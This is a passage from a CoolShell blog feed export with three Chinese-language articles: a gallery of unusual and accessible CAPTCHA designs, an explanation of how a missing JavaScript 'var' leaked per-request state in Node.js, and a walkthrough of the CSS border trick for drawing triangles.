class="wp_rp_title">一些非常有意思的杂项资源</a></li><li ><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png" alt="聊聊团队协同和协同工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22298.html" class="wp_rp_title">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/8170.html">一次Ajax查错的经历</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/8170.html/feed</wfw:commentRss>
			<slash:comments>93</slash:comments>
		
		
			</item>
		<item>
		<title>各式各样的验证码</title>
		<link>https://coolshell.cn/articles/7917.html</link>
					<comments>https://coolshell.cn/articles/7917.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Thu, 19 Jul 2012 00:32:09 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[轶事趣闻]]></category>
		<category><![CDATA[Captcha]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[验证码]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=7917</guid>

					<description><![CDATA[<p>还记得以前那篇《超强验证码》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/7917.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/7917.html">各式各样的验证码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>还记得以前那篇《<a title="超强的验证码" href="https://coolshell.cn/articles/3277.html" target="_blank">超强验证码</a>》？其实这个世界变态的验证码还有很多，下面是一个列表向像展示了各种稀奇古怪的验证码。不过本文并不单单只是收集这验证码，前面的比较恶搞，后面的会向你展示什么是有accessibility验证码。</p>
<h4>完全看不清楚的</h4>
<p>这是人类的字符吗？</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7920" src="https://coolshell.cn/wp-content/uploads/2012/07/0.jpg" alt="" width="543" height="358" srcset="https://coolshell.cn/wp-content/uploads/2012/07/0.jpg 543w, https://coolshell.cn/wp-content/uploads/2012/07/0-300x198.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/07/0-410x270.jpg 410w" sizes="(max-width: 543px) 100vw, 543px" /></p>
<p style="text-align: left;">图案中的字母是什么？</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/7.jpg" alt="" width="409" height="472" /></p>
<p><span id="more-7917"></span></p>
<p>这也够奇葩的了。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/4.jpg" alt="" width="454" height="438" /></p>
<h4 style="text-align: left;">看得清但令人抓狂的</h4>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg"><img decoding="async" loading="lazy" class="aligncenter" title="2" src="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg" alt="" width="480" height="322" /></a><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/3.jpg" alt="" width="510" height="302" /></p>
<h4><a href="https://coolshell.cn/wp-content/uploads/2012/07/1.jpg"><br />
</a> <a href="https://coolshell.cn/wp-content/uploads/2012/07/2.jpg"><br />
</a>数学公式的</h4>
<p>如果你填对了，你是人类吗？</p>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/4.jpg"><br />
<img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/5.jpg" alt="" width="469" height="273" /></a></p>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/7.jpg"><br />
</a> <img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7928" src="https://coolshell.cn/wp-content/uploads/2012/07/8.jpg" alt="" width="526" height="293" srcset="https://coolshell.cn/wp-content/uploads/2012/07/8.jpg 526w, https://coolshell.cn/wp-content/uploads/2012/07/8-300x167.jpg 300w" sizes="(max-width: 526px) 100vw, 526px" /></p>
<h4 style="text-align: left;">智力题</h4>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/1.jpg" alt="" width="511" height="440" /></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/worstcaptchaever.jpg" alt="" width="552" height="283" /></p>
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7929" src="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg" alt="" width="444" height="257" srcset="https://coolshell.cn/wp-content/uploads/2012/07/9.jpg 444w, https://coolshell.cn/wp-content/uploads/2012/07/9-300x173.jpg 300w" sizes="(max-width: 444px) 100vw, 444px" /></a></p>
<h4>你的审美水平正常吗？</h4>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/07/6.jpg" alt="" width="596" height="474" /></p>
<h4>你懂盲文吗？</h4>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7930" title="a438_c13" src="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg" alt="" width="346" height="60" srcset="https://coolshell.cn/wp-content/uploads/2012/07/a438_c13.jpg 346w, https://coolshell.cn/wp-content/uploads/2012/07/a438_c13-300x52.jpg 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h4>ASCII图片式</h4>
<p><img decoding="async" loading="lazy" class="aligncenter" title="filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5" src="https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg" alt="" width="452" height="548" /></p>
<h4 style="text-align: left;"></h4>
<h4></h4>
<h4>怎么验证一个人是否成年</h4>
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/07/filter_8cd6a950-a3ba-42a1-ac47-6d4c8276e6e5.jpg"><br />
</a> <img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7933" title="main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1" src="https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg" alt="" width="640" height="366" srcset="https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1.jpg 640w, https://coolshell.cn/wp-content/uploads/2012/07/main-qimg-33024dad8ca5f5b9c37e3894d60ac8a1-300x171.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<h4>3D验证码</h4>
<p>通个这个脚本自动生成的：<a href="http://ocr-research.org.ua/tb/getimage.php5" target="_blank">http://ocr-research.org.ua/tb/getimage.php5</a></p>
<p><a href="http://ocr-research.org.ua/tb/getimage.php5"><img decoding="async" class="aligncenter" title="http://ocr-research.org.ua/tb/getimage.php5" src="http://ocr-research.org.ua/tb/getimage.php5" alt="http://ocr-research.org.ua/tb/getimage.php5" /></a></p>
<h4></h4>
<h4>reCaptcha</h4>
<p>相信大家都知道reCAPTCHA下了一盘很大的棋，它让你在输验证码的时候还帮着还原书籍中那些很难被OCR识别的单词。其有两组验证码，一组是可以被电脑识别的，另一组是不能被电脑识别的（也就是让人来帮电脑识别的），如果你第一组答对了，就会被 认为是人工操作，于是你回答的第二组就会成为人肉OCR。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7947" title="reCAPTCHA" src="https://coolshell.cn/wp-content/uploads/2012/07/reCAPTCHA.png" alt="" width="255" height="101" /></p>
<p>它最近又将增加一项新功能：显示Google地图上的街景地址和名称。这样从地图上的街景中提取街道地址和名称以及交通标志等数据，以完善Google地图上的信息。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-7948" title="recaptcha-map" src="https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg" alt="" width="488" height="237" srcset="https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map.jpg 1017w, https://coolshell.cn/wp-content/uploads/2012/07/recaptcha-map-300x145.jpg 300w" sizes="(max-width: 488px) 100vw, 488px" /></p>
<h4>Facebook的人脸识别验证码</h4>
<p>你觉得有创意吗?</p>
<p><img decoding="async" loading="lazy" class="aligncenter" title="facebook" src="https://coolshell.cn/wp-content/uploads/2012/07/facebook.jpg" alt="" width="574" height="356" /></p>
<h4><a href="http://research.microsoft.com/en-us/um/redmond/projects/asirra/" target="_blank">微软的ASIRRA</a></h4>
<p style="text-align: center;"><a href="http://research.microsoft.com/en-us/um/redmond/projects/asirra/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7935" title="ASIRRA   Microsoft Research" src="https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png" alt="" width="501" height="210" srcset="https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research.png 501w, https://coolshell.cn/wp-content/uploads/2012/07/ASIRRA-Microsoft-Research-300x125.png 300w" sizes="(max-width: 501px) 100vw, 501px" /></a></p>
<h4><a href="http://accessibiliteweb.com/stuff/captcha-slider.html" target="_blank">DISTCHA</a></h4>
<p>通过像iPhone/iPad开启时滑动的样式来验证。</p>
<p style="text-align: center;"><a href="http://accessibiliteweb.com/stuff/captcha-slider.html"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7936" title="DISTCHA  - an accessible CAPTCHA slider   v0.2" src="https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png" alt="" width="521" height="271" srcset="https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2.png 521w, https://coolshell.cn/wp-content/uploads/2012/07/DISTCHA-an-accessible-CAPTCHA-slider-v0.2-300x156.png 300w" sizes="(max-width: 521px) 100vw, 521px" /></a></p>
<h4><a title="MotionCAPTCHA jQuery plugin" href="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/" target="_blank">MotionCAPTCHA</a></h4>
<p>用鼠标来画个画。</p>
<p><a href="http://josscrowcroft.com/projects/motioncaptcha-jquery-plugin/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7937" title="MotionCAPTCHA - Joss Crowcroft" src="https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png" alt="" width="422" height="305" srcset="https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft.png 422w, https://coolshell.cn/wp-content/uploads/2012/07/MotionCAPTCHA-Joss-Crowcroft-300x216.png 300w" sizes="(max-width: 422px) 100vw, 422px" /></a></p>
<h4><a href="http://sitehelp.com.au/demos/dragcaptcha.php" target="_blank">siteHelp的DragCapCha</a></h4>
<p>为下面的字母排个序吧</p>
<p><a href="http://sitehelp.com.au/demos/dragcaptcha.php"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7938" title="Site Help - DragCaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png" alt="" width="590" height="186" srcset="https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha.png 590w, https://coolshell.cn/wp-content/uploads/2012/07/Site-Help-DragCaptcha-300x94.png 300w" sizes="(max-width: 590px) 100vw, 590px" /></a></p>
<h4>jQuery 验证码插件</h4>
<h5><a href="http://serie3.info/s3capcha/demonstration.php" target="_blank">jQuery s3Capcha 插件</a></h5>
<p><a href="http://serie3.info/s3capcha/demonstration.php"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7939" title="s3Capcha jQuery plugin" src="https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png" alt="" width="346" height="163" srcset="https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/s3Capcha-jQuery-plugin-300x141.png 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h5><a href="http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin" target="_blank">Ajax Fancy Captcha</a></h5>
<p>和上面那个不一样，这个需要拖动</p>
<p><a href="http://www.webdesignbeach.com/beachbar/ajax-fancy-captcha-jquery-plugin"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7940" title="Ajax Fancy Captcha   jQuery plugin" src="https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png" alt="" width="342" height="132" srcset="https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin.png 342w, https://coolshell.cn/wp-content/uploads/2012/07/Ajax-Fancy-Captcha-jQuery-plugin-300x115.png 300w" sizes="(max-width: 342px) 100vw, 342px" /></a></p>
<h5><a href="http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/" target="_blank">wCaptcha</a></h5>
<p>和上面的很相似。</p>
<p><a href="http://www.wozia.pt/blog/wcaptcha-a-better-captcha-alternative-jquery-captcha-plugin/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7943" title="wcaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png" alt="" width="332" height="127" srcset="https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1.png 332w, https://coolshell.cn/wp-content/uploads/2012/07/wcaptcha-1-300x114.png 300w" sizes="(max-width: 332px) 100vw, 332px" /></a></p>
<h4><a href="http://www.picatcha.com/captcha/" target="_blank">Picatcha</a></h4>
<p>挑出所有的计算器</p>
<p><a href="http://www.picatcha.com/captcha/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7941" title="PICATCHA" src="https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png" alt="" width="366" height="307" srcset="https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA.png 366w, https://coolshell.cn/wp-content/uploads/2012/07/PICATCHA-300x251.png 300w" sizes="(max-width: 366px) 100vw, 366px" /></a></p>
<h4><a href="http://yocaptcha.com/" target="_blank">yoCaptcha</a></h4>
<p>广告式的验证码</p>
<p><a href="http://yocaptcha.com/"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7942" title="yoCaptcha" src="https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png" alt="" width="346" height="239" srcset="https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha.png 346w, https://coolshell.cn/wp-content/uploads/2012/07/yoCaptcha-300x207.png 300w" sizes="(max-width: 346px) 100vw, 346px" /></a></p>
<h4>W3C的建议</h4>
<p>W3C的这篇文章（<a href="http://www.w3.org/TR/turingtest/">http://www.w3.org/TR/turingtest/</a>）表达了传统的验证码图片的Inaccessibility的问题，而且一些验证码都很容易被破解。如：</p>
<ul>
<li><a href="http://www.brains-n-brawn.com/default.aspx?vDir=aicaptcha">aiCaptcha: Using AI to beat CAPTCHA and post comment spam</a></li>
<li><a href="http://www.cs.berkeley.edu/~mori/gimpy/gimpy.html">Breaking CAPTCHAs Without Using OCR</a></li>
<li><a href="http://sam.zoy.org/pwntcha/">PWNtcha &#8211; CAPTCHA decoder</a></li>
</ul>
<p>W3C也给了一些解决方案：</p>
<ul>
<li>一些逻辑题或是智力题。</li>
<li>声音输出，为了照顾残疾人。 <a href="http://news.com.com/2100-1032-1022814.html">Spam-bot tests flunk the blind</a></li>
<li>限制帐号的操作次数。</li>
<li>使用现有的Spam检测机制。如：酷壳（Coolshell.cn）的评论没有验证码，垃圾评论完全靠<a href="http://akismet.com/" target="_blank">Akismet</a> 插件过滤。</li>
</ul>
<p>建议你移步去看看这篇文章。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3277.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="超强的验证码" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3277.html" class="wp_rp_title">超强的验证码</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="DHH 谈混合移动应用开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_title">DHH 谈混合移动应用开发</a></li><li ><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg" alt="HTML6 展望" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12206.html" class="wp_rp_title">HTML6 展望</a></li><li ><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg" alt="Google Inbox如何跨平台重用代码？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_title">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/7917.html">各式各样的验证码</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/7917.html/feed</wfw:commentRss>
			<slash:comments>64</slash:comments>
		
		
			</item>
		<item>
		<title>Javascript 中的 var</title>
		<link>https://coolshell.cn/articles/7480.html</link>
					<comments>https://coolshell.cn/articles/7480.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Thu, 24 May 2012 06:50:31 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[轶事趣闻]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[JSLint]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=7480</guid>

					<description><![CDATA[<p>MelonCard发布了一篇文章——&#8221;how one missing var ruined our launch&#8220;（&#8221;少写了...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/7480.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/7480.html">Javascript 中的 var</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>MelonCard发布了一篇文章——&#8221;<a href="http://blog.meloncard.com/post/12175941935/how-one-missing-var-ruined-our-launch" target="_blank">how one missing var ruined our launch</a>&#8220;（&#8221;少写了一个var毁了我的网站&#8221;），这篇文章是说MelonCard用Node.js做后台，因为出了一个小高峰——有50-100人注册，结果整个网站都不响应了，而且还出现了很多奇怪的问题。当他们调查到问题的要源的时候，他们发现下面的代码少写了一个var。</p>
<p>[javascript]app.all(‘/apps/:user_id/status’, function(req, res, next) {<br />
    // …<br />
    initial = extractVariables(req.body);<br />
});[/javascript]</p>
<p>为什么inital少写一个var会引发这个问题呢？因为如果你不写var，这个局部的变量会被javascript当成全局变量，而这个变量又是一个函数，所以，当多用户并发的时候，这个本应该在不同用户下互不干扰的变量，成了各个用户共享的东西。试想，用户A的数据被用户B覆盖了，用户A和B的数据还没处理完，结果被新的C给搞乱了，程序的逻辑自然出现了问题。</p>
<p>在stackoverflow.com上有<a href="http://stackoverflow.com/questions/1470488/difference-between-using-var-and-not-using-var-in-javascript" target="_blank">这么一个贴子说明了“有var”和“无var”</a>的差别：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">// These are both globals
var foo = 1;
bar = 2;

function test()
{
    var foo = 1; // Local
    bar = 2;     // Global

    // Execute an anonymous function
    (function()
    {
        var wibble = 1; // Local
        foo = 2; // Inherits from scope above (creating a closure)
        moo = 3; // Global
    }())
}</pre>
<p>上面这个示例告诉我们，如果你不用var，那么这个js引擎会一层一层地向上找父作用域中的变量，如果找到了，就用，如果找不到了，就会帮你定义一个全局的变量。上面这个例子充分说明了这一点。所以，<strong>如果你想在当前的作用域用声明变量，你一定要用var</strong>。这对于一些乱写javascript代码的程序员要注意了。这里再给大家介绍一个工具——</p>
<p><span id="more-7480"></span></p>
<p><strong>JSLint( <a href="http://www.jslint.com/">http://www.jslint.com/</a> )</strong>，一个JS代码质量的分析工具，我们把上述stackoverflow的代码copy到JSLint这个在线工具中，我们可以看到下面的报告：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-7483" title="jslint" src="https://coolshell.cn/wp-content/uploads/2012/05/jslint.jpg" alt="" width="500" height="184" srcset="https://coolshell.cn/wp-content/uploads/2012/05/jslint.jpg 500w, https://coolshell.cn/wp-content/uploads/2012/05/jslint-300x110.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>这个报告说明了源码中的那些变量的情况。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/17524.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg" alt="如何读懂并写出装逼的函数式代码" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17524.html" class="wp_rp_title">如何读懂并写出装逼的函数式代码</a></li><li ><a href="https://coolshell.cn/articles/10822.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png" alt="函数式编程" width="150" height="150" /></a><a href="https://coolshell.cn/articles/10822.html" class="wp_rp_title">函数式编程</a></li><li ><a href="https://coolshell.cn/articles/10739.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif" alt="Lua简明教程" width="150" height="150" /></a><a href="https://coolshell.cn/articles/10739.html" class="wp_rp_title">Lua简明教程</a></li><li ><a href="https://coolshell.cn/articles/10337.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="数据即代码：元驱动编程" width="150" height="150" /></a><a href="https://coolshell.cn/articles/10337.html" class="wp_rp_title">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/7480.html">Javascript 中的 var</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/7480.html/feed</wfw:commentRss>
			<slash:comments>48</slash:comments>
		
		
			</item>
		<item>
		<title>神奇的CSS形状</title>
		<link>https://coolshell.cn/articles/6913.html</link>
					<comments>https://coolshell.cn/articles/6913.html#comments</comments>
		
		<dc:creator><![CDATA[Neo]]></dc:creator>
		<pubDate>Sat, 24 Mar 2012 12:35:41 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[编程语言]]></category>
		<category><![CDATA[趣味问题]]></category>
		<category><![CDATA[CSS]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=6913</guid>

					<description><![CDATA[<p>【感谢 Neo 投递本文 – 微博帐号：@_锟_ 】 在StackOverflow上有这么一个问题，有位同学在http://css-tricks.com/exa...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/6913.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/6913.html">神奇的CSS形状</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>【<span style="color: #cc0000;">感谢 Neo 投递本文 – 微博帐号</span>：<a title="_锟_" href="http://weibo.com/gandalfthegrey" target="_blank">@_锟_</a> 】</p>
<p style="text-align: left;">在StackOverflow上有这么一个问题，有位同学在<a href="http://css-tricks.com/examples/ShapesOfCSS/">http://css-tricks.com/examples/ShapesOfCSS/ </a> 找到一些使用CSS做的形状，其中一位同学对下面的这个形状充满了疑问。</p>
<p style="text-align: left;">形状是：</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6914" src="https://coolshell.cn/wp-content/uploads/2012/03/a.png" alt="" width="103" height="102" /></p>
<p style="text-align: left;">代码是：</p>
<pre data-enlighter-language="css" class="EnlighterJSRAW">
#triangle-up {
width: 0;
height: 0;
border-left: 50px solid transparent;
border-right: 50px solid transparent;
border-bottom: 100px solid red;
}
</pre>
<p>这位同学就提问啦，为啥这么这么几句就能画出一个三角形呢？<br />
于是呢，有高人出现，这个高人图文并茂的解释了这个三角的成因</p>
<p><span id="more-6913"></span><br />
首先呢，我们需要了解HTML标记的Box Model（盒模型），这个例子中呢我们将content，padding都看作content。忽略掉margin。那么一个盒模型就是下图</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6915" src="https://coolshell.cn/wp-content/uploads/2012/03/b.png" alt="" width="340" height="266" srcset="https://coolshell.cn/wp-content/uploads/2012/03/b.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/b-300x234.png 300w" sizes="(max-width: 340px) 100vw, 340px" /></p>
<p>中间是内容，然后是4条边。每一条边都有宽度。<br />
根据上面CSS的定义，没有border-top（顶边）的情形下 ,我们的图形如下：</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6916" src="https://coolshell.cn/wp-content/uploads/2012/03/c.png" alt="" width="340" height="266" srcset="https://coolshell.cn/wp-content/uploads/2012/03/c.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/c-300x234.png 300w" sizes="(max-width: 340px) 100vw, 340px" /></p>
<p>width设置为0后 ，内容没有了就成为下图：</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6917" src="https://coolshell.cn/wp-content/uploads/2012/03/d.png" alt="" width="340" height="266" srcset="https://coolshell.cn/wp-content/uploads/2012/03/d.png 340w, https://coolshell.cn/wp-content/uploads/2012/03/d-300x234.png 300w" sizes="(max-width: 340px) 100vw, 340px" /></p>
<p>height也设置为0，只有底边了。</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6918" src="https://coolshell.cn/wp-content/uploads/2012/03/e.png" alt="" width="200" height="122" /></p>
<p>然后两条边都是设置为透明，最后我们就得到了</p>
<p style="text-align: left;"><img decoding="async" loading="lazy" class="size-full wp-image-6919" src="https://coolshell.cn/wp-content/uploads/2012/03/f.png" alt="" width="200" height="122" /></p>
